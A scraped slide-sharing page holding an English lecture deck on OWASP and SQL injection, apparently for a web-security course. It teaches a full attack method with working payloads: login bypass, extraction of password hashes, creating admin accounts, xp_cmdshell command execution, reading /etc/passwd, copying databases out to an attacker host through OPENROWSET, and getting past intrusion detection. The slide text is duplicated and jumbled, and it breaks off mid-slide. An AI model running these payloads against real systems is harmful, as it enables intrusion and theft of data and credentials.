Что такое findslide.org?

FindSlide.org - это сайт презентаций, докладов, шаблонов в формате PowerPoint.

Для правообладателей

Обратная связь

Email: Нажмите что бы посмотреть 

Яндекс.Метрика

Презентация на тему WEB application security

Содержание

OWASP Application Security Risks
WEB application securityLection 1 OWASP Application Security Risks Web ApplicationsBrowserWeb ServersPresentation LayerMedia StoreDatabase ServerCustomer Identification Access ControlsTransaction InformationCore Business DataWeb ServicesApplication ServerBusiness LogicContent ServicesApplications Example Web ApplicationWebserverWeb appWeb appWeb appWeb apptransportDBDBAppserver(optional)Web client: Chrome, Mozilla, Edge etc.HTTP Vulnerabilities?WebserverWeb appWeb appWeb appWeb apptransportDBDBAppserver(optional)Web client: Chrome, Mozilla, Edge etc.HTTP reply (HTML, Other VulnerabilitiesBack-end frameworks vulnerabilitiesFront-end frameworks vulnerabilitiesWebServer OS vulnerabilitiesApplicationServer OS vulnerabilitiesDatabaseServer OS vulnerabilitiesClient What is OWASP?Open Web Application Security ProjectNon-profit, volunteer driven organizationAll members are What is OWASP?Open Web Application Security ProjectPromotes secure software developmentOriented to the What is OWASP?What do they provide?PublicationsOWASP Top 10OWASP Guide to Building Secure What does OWASP offer?Development of new projects Ability to use available AdministrationAdministrationOWASP TOP 10 AdministrationAdministrationOWASP TOP 10 Injection?Injection attack vs injection flow? Injection?The ability to inject ACTIVE commands into the ANY PART OF SYSTEM through an existing application Injection? TypesSQL InjectionCommand InjectionCode Injection (RFI, Eval Injection, Function Injection) TypesSQL InjectionCommand InjectionCode Injection (RFI, Eval Injection, Function Injection)XPath InjectionReflected DOM InjectionResource SQL Injection What is SQL Injection?The ability to inject SQL commands into the database How common is it?It is probably the most common Website vulnerability today!It Vulnerable ApplicationsAlmost all SQL databases and programming languages are potentially vulnerableMS SQL How does SQL Injection work?Common vulnerable login query SELECT * FROM users Injecting through Stringsformusr = ' or 1=1 – – formpwd = anythingFinal The power of 'It closes the string parameterEverything after is considered part If it were numeric?SELECT * FROM clients WHERE account = 12345678AND pin Injecting Numeric Fields$formacct = 1 or 1=1 # $formpin = 1111Final query SQL Injection Characters' or Methodology SQL Injection Testing Methodology1) Input Validation 1) Input Validation2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 6) Discovery of VulnerabilitiesVulnerabilities can be anywhere, we check all entry points:Fields in 2) Information Gathering 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 2) Information GatheringWe will try to find out the following:Output mechanismUnderstand the a) Exploring Output MechanismsUsing query result sets in the web applicationError MessagesCraft Extracting information through Error MessagesGrouping Error' group by columnnames having 1=1 - Blind InjectionWe can use different known outcomes' and condition and '1'='1Or we b) Understanding the QueryThe query can be:SELECTUPDATEEXECINSERTOr something more complexContext helpsWhat is SELECT StatementMost injections will land in the middle of a SELECT statementIn UPDATE statementIn a change your password section of an app we may Determining a SELECT Query StructureTry to replicate an error free navigationCould be Is it a stored procedure?We use different injections to determine what we Tricky QueriesWhen we are in a part of a subquery or begin c) Determine Database Engine TypeMost times the error messages will let us Some differences More differences… d) Finding out user privilege levelThere are several SQL99 built-in scalar functions DB AdministratorsDefault administrator accounts include:sa, system, sys, dba, admin, root and many 3) 1=1 Attacks 1) Input Validation5) OS Interaction 6) OS Cmd Prompt4) Discover DB structureDetermine table and column names ' group by columnnames Enumerating table columns in different DBsMS SQLSELECT name FROM syscolumns WHERE id All tables and columns in one query' union select 0, sysobjects.name + Database EnumerationIn MS SQL Server, the databases can be queried with master..sysdatabasesDifferent System TablesOracleSYS.USER_OBJECTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMS SQL Serversysobjectssyscolumnssystypessysdatabases 4) Extracting Data4) Extracting Data1) Input Validation5) OS Interaction 6) OS Cmd Password grabbingGrabbing username and passwords from a User Defined table'; begin declare Create DB AccountsMS SQLexec sp_addlogin 'victor', 'Pass123'exec sp_addsrvrolemember 'victor', 'sysadmin'MySQLINSERT INTO mysql.user Grabbing MS SQL Server HashesAn easy query:SELECT name, password FROM sysxloginsBut, hashes What do we do?The hashes are extracted usingSELECT password FROM master..sysxloginsWe then Extracting SQL HashesIt is a long statement '; begin declare @var varchar(8000), @xdate1 Extract hashes through error messages' and 1 in (select x from temp) Brute forcing PasswordsPasswords can be brute forced by using the attacked server Transfer DB structure and dataOnce network connectivity has been testedSQL Server can Create Identical DB Structure'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', Transfer DB'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..table1')select * from database..table1 --'; insert 5) OS Interaction 5) OS Interaction 6) OS Cmd Prompt7) Expand Influence1) Interacting with the OSTwo ways to interact with the OS:Reading and writing MySQL OS InteractionMySQLLOAD_FILE' union select 1,load_file('/etc/passwd'),1,1,1;LOAD DATA INFILEcreate table temp( line blob MS SQL OS InteractionMS SQL Server'; exec master..xp_cmdshell 'ipconfig > test.txt' --'; ArchitectureTo keep in mind always!Our injection most times will be executed on Assessing Network ConnectivityServer name and configuration' and 1 in (select @@servername ) Gathering IP information through reverse lookupsReverse DNS'; exec master..xp_cmdshell 'nslookup a.com MyIP' Network ReconnaissanceUsing the xp_cmdshell all the following can be executed:Ipconfig /allTracert myIParp -anbtstat -cnetstat -anoroute print Network Reconnaissance Full Query'; declare @var varchar(256); set @var = ' del 6) OS Cmd Prompt7) Expand Influence3) 1=1 Attacks 4) Extracting Data1) Input Jumping to the OSLinux based MySQL' union select 1, (load_file('/etc/passwd')),1,1,1;MS SQL Windows Retrieving VNC Password from Registry'; declare @out binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', 7) Expand Influence7) Expand Influence3) 1=1 Attacks 4) Extracting Data1) Input Validation2) Hopping into other DB ServersFinding linked servers in MS SQLselect * from Linked Servers'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_sysservers')select * from master.dbo.sysservers'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select Executing through stored procedures remotelyIf the remote server is configured to only Uploading files through reverse connection'; create table AttackerTable (data text) --'; bulk Uploading files through SQL InjectionIf the database server has no Internet connectivity, Example of SQL injection file uploadingThe whole set of queries is lengthy Evasion Techniques Evasion Techniques Input validation circumvention and IDS Evasion techniques are very similarSnort IDS Signature Evasion Evading ' OR 1=1 signature' OR 'unusual' = 'unusual'' Input validationSome people use PHP addslashes() function to escape characterssingle quote (')double Evasion and CircumventionIDS and input validation can be circumvented by encodingSome ways MySQL Input Validation Circumvention using Char()Inject without quotes (string = IDS Signature Evasion using white spacesUNION SELECT signature is different toUNION IDS Signature Evasion using commentsSome IDS are not tricked by white spacesUsing IDS Signature Evasion using string concatenationIn MySQL it is possible to separate IDS and Input Validation Evasion using variablesYet another evasion technique allows for LinksA lot of SQL Injection related papershttp://www.nextgenss.com/papers.htmhttp://www.spidynamics.com/support/whitepapers/http://www.appsecinc.com/techdocs/whitepapers.htmlhttp://www.atstake.com/research/advisoriesOther resources http://www.owasp.orghttp://www.sqlsecurity.comhttp://www.securityfocus.com/infocus/1768
Слайды презентации

Слайд 2 OWASP Application Security Risks

OWASP Application Security Risks

Слайд 3





Web Applications
Browser
Web Servers
Presentation Layer
Media Store
Database Server
Customer Identification
Access

Web ApplicationsBrowserWeb ServersPresentation LayerMedia StoreDatabase ServerCustomer Identification Access ControlsTransaction InformationCore Business DataWeb ServicesApplication ServerBusiness LogicContent ServicesApplications

Controls
Transaction Information
Core Business Data
Web Services
Application Server
Business Logic
Content Services





Applications

Слайд 4 Example Web Application
Web
server
Web app
Web app
Web app
Web app
transport

DB

DB

App
server
(optional)
Web client:

Example Web ApplicationWebserverWeb appWeb appWeb appWeb apptransportDBDBAppserver(optional)Web client: Chrome, Mozilla, Edge

Chrome, Mozilla, Edge etc.
HTTP reply (HTML, JavaScript, VBScript, etc.)
HTTP

request

Clear-text or SSL

Apache
IIS
Nginx
etc.

J2EE server
GlassFish
Oracle 9iAS
etc.

Perl
C++
CGI
Java
ASP
PHP
etc.

ADO
ODBC
JDBC
etc.

Oracle
SQL Server
MySQL
etc.

Internet

DMZ

Protected
network

Internal
network

AJP
IIOP
JMS
etc.

Слайд 5 Vulnerabilities?
Web
server
Web app
Web app
Web app
Web app
transport

DB

DB

App
server
(optional)
Web client: Chrome, Mozilla,

Vulnerabilities?WebserverWeb appWeb appWeb appWeb apptransportDBDBAppserver(optional)Web client: Chrome, Mozilla, Edge etc.HTTP reply

Edge etc.
HTTP reply (HTML, JavaScript, VBScript, etc.)
HTTP request
Clear-text or

SSL

Apache
IIS
Nginx
etc.

J2EE server
GlassFish
Oracle 9iAS
etc.

Perl
C++
CGI
Java
ASP
PHP
etc.

ADO
ODBC
JDBC
etc.

Oracle
SQL Server
MySQL
etc.

Internet

DMZ

Protected
network

Internal
network

AJP
IIOP
JMS
etc.

Слайд 6 Other Vulnerabilities
Back-end frameworks vulnerabilities
Front-end frameworks vulnerabilities
WebServer OS vulnerabilities
ApplicationServer

Other VulnerabilitiesBack-end frameworks vulnerabilitiesFront-end frameworks vulnerabilitiesWebServer OS vulnerabilitiesApplicationServer OS vulnerabilitiesDatabaseServer OS

OS vulnerabilities
DatabaseServer OS vulnerabilities
Client OS vulnerabilities
Client Application vulnerabilities
Additional modules

vulnerabilities

Слайд 7 What is OWASP?
Open Web Application Security Project
Non-profit, volunteer

What is OWASP?Open Web Application Security ProjectNon-profit, volunteer driven organizationAll members

driven organization
All members are volunteers
All work is donated by

sponsors
Provide free resources to the community
Publications, Articles, Standards
Testing and Training Software
Local Chapters & Mailing Lists
Supported through sponsorships
Corporate support through financial or project sponsorship
Personal sponsorships from members

Слайд 8 What is OWASP?
Open Web Application Security Project
Promotes secure

What is OWASP?Open Web Application Security ProjectPromotes secure software developmentOriented to

software development
Oriented to the delivery of web oriented services
Focused

primarily on the “back-end” than web-design issues
An open forum for discussion
A free resource for any development team

Слайд 9 What is OWASP?
What do they provide?
Publications
OWASP Top 10
OWASP

What is OWASP?What do they provide?PublicationsOWASP Top 10OWASP Guide to Building

Guide to Building Secure Web Applications
Software
WebGoat
WebScarab
oLabs Projects
.NET Projects
Local Chapters
Community

Orientation


Слайд 10 What does OWASP offer?
Development of new projects Ability

What does OWASP offer?Development of new projects Ability to use available

to use available tools and volunteers to generate new

projects
Research Fellowships OWASP gives grants to researchers to develop application security tools, guides, publications, etc

Over $ 100,000 USD has been granted in research grants.

Слайд 11 Administration
Administration

OWASP TOP 10

AdministrationAdministrationOWASP TOP 10

Слайд 12 Administration
Administration

OWASP TOP 10

AdministrationAdministrationOWASP TOP 10

Слайд 13 Injection?

Injection attack vs injection flow?

Injection?Injection attack vs injection flow?

Слайд 14 Injection?

The ability to inject ACTIVE commands into the

Injection?The ability to inject ACTIVE commands into the ANY PART OF SYSTEM through an existing application

ANY PART OF SYSTEM through an existing application

Слайд 15 Injection?

Injection?

Слайд 16 Types
SQL Injection
Command Injection
Code Injection (RFI, Eval Injection, Function

TypesSQL InjectionCommand InjectionCode Injection (RFI, Eval Injection, Function Injection)

Injection)

Слайд 17 Types
SQL Injection
Command Injection
Code Injection (RFI, Eval Injection, Function

TypesSQL InjectionCommand InjectionCode Injection (RFI, Eval Injection, Function Injection)XPath InjectionReflected DOM

Injection)
XPath Injection
Reflected DOM Injection
Resource Injection
Special Element Injection
LDAP injection
Log Injection
Custom

Special Character Injection (Null Byte Injection)
XML Injection (XQuery Injection)
SSI Injection

Слайд 18 SQL Injection

SQL Injection

Слайд 19 What is SQL Injection?

The ability to inject SQL

What is SQL Injection?The ability to inject SQL commands into the

commands into the database engine through an existing application

Слайд 20 How common is it?
It is probably the most

How common is it?It is probably the most common Website vulnerability

common Website vulnerability today!
It is a flaw in "web

application" development, it is not a DB or web server problem
Most programmers are still not aware of this problem
A lot of the tutorials & demo “templates” are vulnerable
Even worse, a lot of solutions posted on the Internet are not good enough
In our pen tests over 60% of clients turn out to be vulnerable to SQL Injection

Слайд 21 Vulnerable Applications
Almost all SQL databases and programming languages

Vulnerable ApplicationsAlmost all SQL databases and programming languages are potentially vulnerableMS

are potentially vulnerable
MS SQL Server, Oracle, MySQL, Postgres, DB2,

MS Access, Sybase (SAP), Informix (IBM), etc
Accessed through applications developed using:
Perl and CGI scripts that access databases
ASP, JSP, PHP
XML, XSL and XSQL
Javascript
VB, MFC, and other ODBC-based tools and APIs
DB specific Web-based applications and API’s
Reports and DB Applications
3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
many more

Слайд 22 How does SQL Injection work?
Common vulnerable login query

How does SQL Injection work?Common vulnerable login query SELECT * FROM


SELECT * FROM users
WHERE login = 'victor'
AND password

= '123'
(If it returns something then login!)
ASP/MS SQL Server login syntax
var sql = "SELECT * FROM users
WHERE login = '" + formusr +
"' AND password = '" + formpwd + "'";

Слайд 23 Injecting through Strings
formusr = ' or 1=1 –

Injecting through Stringsformusr = ' or 1=1 – – formpwd =

–
formpwd = anything

Final query would look like this:
SELECT

* FROM users
WHERE username = ' ' or 1=1
– – AND password = 'anything'

Слайд 24 The power of '
It closes the string parameter
Everything

The power of 'It closes the string parameterEverything after is considered

after is considered part of the SQL command
Misleading Internet

suggestions include:
Escape it! : replace ' with ' '
String fields are very common but there are other types of fields:
Numeric
Dates

Слайд 25 If it were numeric?
SELECT * FROM clients
WHERE

If it were numeric?SELECT * FROM clients WHERE account = 12345678AND

account = 12345678
AND pin = 1111

PHP/MySQL login syntax
$sql =

"SELECT * FROM clients WHERE " .
"account = $formacct AND " .
"pin = $formpin";

Слайд 26 Injecting Numeric Fields
$formacct = 1 or 1=1 #

Injecting Numeric Fields$formacct = 1 or 1=1 # $formpin = 1111Final


$formpin = 1111

Final query would look like this:
SELECT *

FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111

Слайд 27 SQL Injection Characters
' or " character String Indicators
-- or

SQL Injection Characters' or

# single-line comment
/*…*/ multiple-line comment
+ addition, concatenate (or space in

url)
|| (double pipe) concatenate
% wildcard attribute indicator
?Param1=foo&Param2=bar URL Parameters
PRINT useful as non transactional command
@variable local variable
@@variable global variable
waitfor delay '0:0:10' time delay

Слайд 28 Methodology

Methodology

Слайд 29 SQL Injection Testing Methodology
1) Input Validation

SQL Injection Testing Methodology1) Input Validation

Слайд 30 1) Input Validation
2) Info. Gathering
3) 1=1 Attacks

1) Input Validation2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction


5) OS Interaction
6) OS Cmd Prompt
4) Extracting Data
7)

Expand Influence



1) Input Validation

Слайд 31 Discovery of Vulnerabilities
Vulnerabilities can be anywhere, we check

\SQL reserved words with white space delimiters %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)Delay query ' waitfor delay '0:0:10'-- & benchmark">Discovery of VulnerabilitiesVulnerabilities can be anywhere, we check all entry points:Fields

all entry points:
Fields in web forms
Script parameters in URL

query strings
Values stored in cookies or hidden fields
By "fuzzing" we insert into every one:
Character sequence: ' " ) # || + > \
SQL reserved words with white space delimiters
%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)
Delay query ' waitfor delay '0:0:10'-- & benchmark

Слайд 32 2) Information Gathering
2) Info. Gathering
3) 1=1

2) Information Gathering 2) Info. Gathering 3) 1=1 Attacks 5) OS

Attacks
5) OS Interaction
6) OS Cmd Prompt
4) Extracting

Data

7) Expand Influence



1) Input Validation

Слайд 33 2) Information Gathering
We will try to find out

2) Information GatheringWe will try to find out the following:Output mechanismUnderstand

the following:
Output mechanism
Understand the query
Determine database type
Find out user

privilege level
Determine OS interaction level

Слайд 34 a) Exploring Output Mechanisms
Using query result sets in

a) Exploring Output MechanismsUsing query result sets in the web applicationError

the web application
Error Messages
Craft SQL queries that generate specific

types of error messages with valuable info in them
Blind SQL Injection
Use time delays or error signatures to determine extract information
Almost the same things can be done but Blind Injection is much slower and more difficult
Other mechanisms
e-mail, SMB, FTP, TFTP

Слайд 35 Extracting information through Error Messages
Grouping Error
' group by

Extracting information through Error MessagesGrouping Error' group by columnnames having 1=1

columnnames having 1=1 - -
Type Mismatch
' union select 1,1,'text',1,1,1

- -
' union select 1,1, bigint,1,1,1 - -
Where 'text' or bigint are being united into an int column
In DBs that allow subqueries, a better way is:
' and 1 in (select 'text' ) - -
In some cases we may need to CAST or CONVERT our data to generate the error messages

Слайд 36 Blind Injection
We can use different known outcomes
' and

Blind InjectionWe can use different known outcomes' and condition and '1'='1Or

condition and '1'='1
Or we can use if statements
'; if

condition waitfor delay '0:0:5' --
'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;
Additionally, we can run all types of queries but with no debugging information!
We get yes/no responses only
We can extract ASCII a bit at a time...
Very noisy and time consuming but possible with automated tools like SQueaL

Слайд 37 b) Understanding the Query
The query can be:
SELECT
UPDATE
EXEC
INSERT
Or something

b) Understanding the QueryThe query can be:SELECTUPDATEEXECINSERTOr something more complexContext helpsWhat

more complex
Context helps
What is the form or page trying

to do with our input?
What is the name of the field, cookie or parameter?

Слайд 38 SELECT Statement
Most injections will land in the middle

SELECT StatementMost injections will land in the middle of a SELECT

of a SELECT statement
In a SELECT clause we almost

always end up in the WHERE section:
SELECT *
FROM table
WHERE x = 'normalinput' group by x having 1=1 --
GROUP BY x
HAVING x = y
ORDER BY x

Слайд 39 UPDATE statement
In a change your password section of

UPDATE statementIn a change your password section of an app we

an app we may find the following
UPDATE users
SET password

= 'new password'
WHERE login = logged.user AND password = 'old password'
If you inject in new password and comment the rest, you end up changing every password in the table!

Слайд 40 Determining a SELECT Query Structure
Try to replicate an

Determining a SELECT Query StructureTry to replicate an error free navigationCould

error free navigation
Could be as simple as ' and

'1' = '1
Or ' and '1' = '2
Generate specific errors
Determine table and column names ' group by columnnames having 1=1 --
Do we need parenthesis? Is it a subquery?

Слайд 41 Is it a stored procedure?
We use different injections

Is it a stored procedure?We use different injections to determine what

to determine what we can or cannot do
,@variable
?Param1=foo&Param2=bar
PRINT
PRINT @@variable

Слайд 42 Tricky Queries
When we are in a part of

Tricky QueriesWhen we are in a part of a subquery or

a subquery or begin - end statement
We will need

to use parenthesis to get out
Some functionality is not available in subqueries (for example group by, having and further subqueries)
In some occasions we will need to add an END
When several queries use the input
We may end up creating different errors in different queries, it gets confusing!
An error generated in the query we are interrupting may stop execution of our batch queries
Some queries are simply not escapable!

Слайд 43 c) Determine Database Engine Type
Most times the error

c) Determine Database Engine TypeMost times the error messages will let

messages will let us know what DB engine we

are working with
ODBC errors will display database type as part of the driver information
If we have no ODBC error messages:
We make an educated guess based on the Operating System and Web Server
Or we use DB-specific characters, commands or stored procedures that will generate different error messages

Слайд 44 Some differences

Some differences

Слайд 45 More differences…

More differences…

Слайд 46 d) Finding out user privilege level
There are several

d) Finding out user privilege levelThere are several SQL99 built-in scalar

SQL99 built-in scalar functions that will work in most

SQL implementations:
user or current_user
session_user
system_user
' and 1 in (select user ) --
'; if user ='dbo' waitfor delay '0:0:5 '--
' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

Слайд 47 DB Administrators
Default administrator accounts include:
sa, system, sys, dba,

DB AdministratorsDefault administrator accounts include:sa, system, sys, dba, admin, root and

admin, root and many others
In MS SQL they map

into dbo:
The dbo is a user that has implied permissions to perform all activities in the database.
Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo.
Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.

Слайд 48 3) 1=1 Attacks
1) Input Validation
5) OS Interaction

3) 1=1 Attacks 1) Input Validation5) OS Interaction 6) OS Cmd


6) OS Cmd Prompt
4) Extracting Data
7) Expand Influence


2) Info.

Gathering

3) 1=1 Attacks

Слайд 49 Discover DB structure
Determine table and column names '

Discover DB structureDetermine table and column names ' group by columnnames

group by columnnames having 1=1 --
Discover column name types
'

union select sum(columnname ) from tablename --
Enumerate user defined tables
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

Слайд 50 Enumerating table columns in different DBs
MS SQL
SELECT name

Enumerating table columns in different DBsMS SQLSELECT name FROM syscolumns WHERE

FROM syscolumns WHERE id = (SELECT id FROM sysobjects

WHERE name = 'tablename ')
sp_columns tablename (this stored procedure can be used instead)
MySQL
show columns from tablename
Oracle
SELECT * FROM all_tab_columns WHERE table_name='tablename '
DB2
SELECT * FROM syscat.columns WHERE tabname= 'tablename '
Postgres
SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename ' AND pg_class.oid=attrelid AND attnum > 0

Слайд 51 All tables and columns in one query
' union

All tables and columns in one query' union select 0, sysobjects.name

select 0, sysobjects.name + ': ' + syscolumns.name +

': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --

Слайд 52 Database Enumeration
In MS SQL Server, the databases can

Database EnumerationIn MS SQL Server, the databases can be queried with

be queried with master..sysdatabases
Different databases in Server
' and 1

in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --
File location of databases
' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --

Слайд 53 System Tables
Oracle
SYS.USER_OBJECTS
SYS.TAB
SYS.USER_TEBLES
SYS.USER_VIEWS
SYS.ALL_TABLES
SYS.USER_TAB_COLUMNS
SYS.USER_CATALOG
MySQL
mysql.user
mysql.host
mysql.db
MS Access
MsysACEs
MsysObjects
MsysQueries
MsysRelationships

MS SQL Server
sysobjects
syscolumns
systypes
sysdatabases

System TablesOracleSYS.USER_OBJECTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMS SQL Serversysobjectssyscolumnssystypessysdatabases

Слайд 54 4) Extracting Data
4) Extracting Data
1) Input Validation
5) OS

4) Extracting Data4) Extracting Data1) Input Validation5) OS Interaction 6) OS

Interaction
6) OS Cmd Prompt
7) Expand Influence

2) Info. Gathering


3) 1=1 Attacks


Слайд 55 Password grabbing
Grabbing username and passwords from a User

Password grabbingGrabbing username and passwords from a User Defined table'; begin

Defined table
'; begin declare @var varchar(8000) set @var=':' select

@var=@var+' '+login+'/'+password+' ' from users where login>@var select @var as var into temp end --
' and 1 in (select var from temp) --
' ; drop table temp --

Слайд 56 Create DB Accounts
MS SQL
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember

Create DB AccountsMS SQLexec sp_addlogin 'victor', 'Pass123'exec sp_addsrvrolemember 'victor', 'sysadmin'MySQLINSERT INTO

'victor', 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('victor',

'localhost', PASSWORD('Pass123'))
Access
CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD 'Pass123'
Oracle
CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;

Слайд 57 Grabbing MS SQL Server Hashes
An easy query:
SELECT name,

Grabbing MS SQL Server HashesAn easy query:SELECT name, password FROM sysxloginsBut,

password FROM sysxlogins
But, hashes are varbinary
To display them

correctly through an error message we need to Hex them
And then concatenate all
We can only fit 70 name/password pairs in a varchar
We can only see 1 complete pair at a time
Password field requires dbo access
With lower privileges we can still recover user names and brute force the password

Слайд 58 What do we do?
The hashes are extracted using
SELECT

What do we do?The hashes are extracted usingSELECT password FROM master..sysxloginsWe

password FROM master..sysxlogins
We then hex each hash
begin @charvalue='0x', @i=1,

@length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int
select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)
select @i=@i+1 END
And then we just cycle through all passwords

Слайд 59 Extracting SQL Hashes
It is a long statement
'; begin

Extracting SQL HashesIt is a long statement '; begin declare @var varchar(8000),

declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255),

@i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end --

Слайд 60 Extract hashes through error messages
' and 1 in

Extract hashes through error messages' and 1 in (select x from

(select x from temp) --
' and 1 in (select

substring (x, 256, 256) from temp) --
' and 1 in (select substring (x, 512, 256) from temp) --
etc…
' drop table temp --

Слайд 61 Brute forcing Passwords
Passwords can be brute forced by

Brute forcing PasswordsPasswords can be brute forced by using the attacked

using the attacked server to do the processing
SQL Crack

Script
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0
drop table tempdb..passwords

Слайд 62 Transfer DB structure and data
Once network connectivity has

Transfer DB structure and dataOnce network connectivity has been testedSQL Server

been tested
SQL Server can be linked back to the

attacker's DB by using OPENROWSET
DB Structure is replicated
Data is transferred
It can all be done by connecting to a remote port 80!

Слайд 63 Create Identical DB Structure
'; insert into

Create Identical DB Structure'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select

OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')

select * from master.dbo.sysdatabases --
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from user_database.dbo.sysobjects --
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns --

Слайд 64 Transfer DB
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table1')
select *

Transfer DB'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..table1')select * from database..table1 --';

from database..table1 --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table2')
select *

from database..table2 --

Слайд 65 5) OS Interaction
5) OS Interaction
6) OS

5) OS Interaction 5) OS Interaction 6) OS Cmd Prompt7) Expand

Cmd Prompt
7) Expand Influence
1) Input Validation
2) Info. Gathering
3)

1=1 Attacks


4) Extracting Data


Слайд 66 Interacting with the OS
Two ways to interact with

Interacting with the OSTwo ways to interact with the OS:Reading and

the OS:
Reading and writing system files from disk
Find passwords

and configuration files
Change passwords and configuration
Execute commands by overwriting initialization or configuration files
Direct command execution
We can do anything
Both are restricted by the database's running privileges and permissions

Слайд 67 MySQL OS Interaction
MySQL
LOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
LOAD DATA INFILE
create

MySQL OS InteractionMySQLLOAD_FILE' union select 1,load_file('/etc/passwd'),1,1,1;LOAD DATA INFILEcreate table temp( line

table temp( line blob );
load data infile '/etc/passwd' into

table temp;
select * from temp;
SELECT INTO OUTFILE

Слайд 68 MS SQL OS Interaction
MS SQL Server
'; exec master..xp_cmdshell

MS SQL OS InteractionMS SQL Server'; exec master..xp_cmdshell 'ipconfig > test.txt'

'ipconfig > test.txt' --
'; CREATE TABLE tmp (txt varchar(8000));

BULK INSERT tmp FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --
' and 1 in (select substring(x,1,256) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

Слайд 69 Architecture
To keep in mind always!
Our injection most times

ArchitectureTo keep in mind always!Our injection most times will be executed

will be executed on a different server
The DB server

may not even have Internet access

Слайд 70 Assessing Network Connectivity
Server name and configuration
' and 1

